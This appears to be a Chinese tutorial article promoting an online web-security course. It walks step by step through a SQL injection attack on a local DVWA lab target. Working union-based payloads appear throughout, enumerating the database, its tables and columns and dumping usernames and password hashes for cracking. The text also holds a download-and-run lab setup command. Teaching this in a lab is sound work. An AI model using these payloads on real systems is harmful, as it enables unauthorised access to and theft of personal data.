SQL 注入是最常见、最被人们熟知的 web 漏洞。根据百科的解释:所谓SQL注入,就是通过把SQL命令,插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
比如某个公司有一个员工管理系统,里面存储员工的许多信息,每个员工只要输入自己的工号就可查询自己相关信息。张三是这个公司的一个开发人员,他突发好奇的想输入李四的工号10001是否可以成功查询,结果他失败了,因为系统有工号和身份的互相校验。于是他在工号后面加上了一个' OR 'a'='a,没想到成功返回了数据,他成功获取到了他人的许多敏感信息。
今天我们测试对一个有 SQL 注入漏洞的网站进行攻击。因为类似的渗透测试过程在没有经过对方允许的情况下,是属于违法的!所以我们为大家准备了实验环境和靶机,你可以拿它当小白鼠,点击阅读原文即可体验。
通常来说,SQL 注入攻击可以分为以下 5 个步骤:
-
寻找注入点:指找到存在 SQL 注入的参数,SQL 注入大多发生在 GET 或 POST 请求的参数中,当然也有可能发生在其他地方,例如 UserAgent、Cookie 等 -
判断注入类型 / 数据库类型:SQL 注入按照不同的分类标准,可以分成不同的种类。 -
按照参数类型可分为两种:数字型和字符型。 -
根据数据库返回的结果,可分为回显注入、报错注入、盲注。 -
按照注入方法,还可以分为联合注入、堆叠注入、宽字节注入、延时注入等。 -
猜解数据库名:猜解后台数据库的库名 -
猜解数据表名:成功猜解到数据库名称后,进一步猜解某一个特定数据库中数据表的名称 -
猜解数据字段名:最后是某个特定数据库中特定数据表中的字段,因为获取到字段才能查询数据
我们先通过一个实验,让你更加清楚的理解 SQL 注入攻击的全过程,然后再针对「如何寻找注入点」和「如何判断注入类型」这两部分做详细的讲解。
# 适用于 Ubuntu 20.04 4G VNC 环境
curl 'https://labfile.oss.aliyuncs.com/courses/3471/3471-sql-init-1.sh' > ~/3471-sql-init-1.sh;chmod +x ~/3471-sql-init-1.sh;./3471-sql-init-1.sh
http://localhost/dvwasql
create/Reset Database
创建数据库:admin
密码为 password
。low
,注意需要点击 Submit
使设置生效:第一步:寻找注入点
SQL injection
页面开始注入:view source
查看源代码:SELECT first_name, last_name FROM users WHERE user_id = '1';
id
后面加一个单引号试试:至于为什么能判断存在 SQL 注入,后文会细讲。
第二步:确定注入类型
SELECT column_name(s) FROM table1
UNION
SELECT column_name(s) FROM table2;
SELECT A, B FROM users WHERE user_id = '1' union select C, D;
order by
来查询字段数了。在输入框中输入 1' order by 1#
,实际执行的 SQL 语句就会变成:SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#`;
# 按照 MySQL 语法,# 后面会被注释掉,使用这种方法屏蔽掉后面的单引号,避免语法错误
1' order by 1#
和 1' order by 2#
时都返回正常:1' order by 3#
时,返回错误:union select
联合查询继续获取信息。1' union select version(),@@version_compile_os#
-
version()
获取当前数据库版本. -
@@version_compile_os
获取当前操作系统。
SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#`;
-
当前数据库版本为 : 10.5.8-MariaDB-1:10.5.8+maria~focal
-
当前操作系统为 : debian-linux-gnu
第三步:查询数据库名
1' union select database(),user()#
-
database()
将会返回当前网站所使用的数据库名字. -
user()
将会返回执行当前查询的用户名.
SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#`;
-
当前网站使用数据库为 dvwa
-
当前执行查询用户名为 root@localhost
第四步:查询数据库表名
information_schema
是 mySQL 自带的一张表,这张数据表保存了 MySQL 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#`;
-
dvwa 数据库有 2 个数据表 -
表名为 guestbook 和 users
第五步:猜解数据库字段名及爆库
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
1' union select user,password from users#
进行查询。SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#`;
https://www.cmd5.com/
查询解密:通过实战的演练,相信大家已经理解了通过 SQL 注入来爆破数据库的方法和流程,最后我们再梳理一下比较重要的知识点:
-
SQL 注入产生的原因 -
SQL 注入攻击的分类 -
SQL 注入爆库攻击的 5 个步骤
上面的内容来自蓝桥云课《Web 漏洞实战:从入门到精通》课程,课程为大家提供了配套的实验环境和靶机,省去本地搭建环境和因法律问题而无法练习的苦恼。
除了 SQL 注入攻击,课程还详细介绍了 文件包含漏洞、 跨站脚本 (XSS) 漏洞、文件上传漏洞、命令注入漏洞、代码注入漏洞、目录遍历漏洞 的原理、技巧和实战流程,非常适合以下人群:
-
初级渗透测试工程师
-
初级安全服务工程师
-
对 Web 安全领域感兴趣的新手朋友
-
就读于《信息安全》专业的学生
课程地址:
https://www.lanqiao.cn/courses/3471
课程展示
-
针对每一个 Web 漏洞,课程会从代码层面讲解漏洞产生的原因,帮助你更好的理解漏洞的本质:
-
每个章节均搭配完全在线的实战实验环境,省去自己本地搭建实验环境的烦恼:
-
每章节均包含详细的实验步骤,手把手带你完成实验:
-
还会讲解漏洞利用遇到限制时的绕过方法,满满的成就感:
本文始发于微信公众号(蓝桥云课精选):web 漏洞入门之 —— SQL 注入教程
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论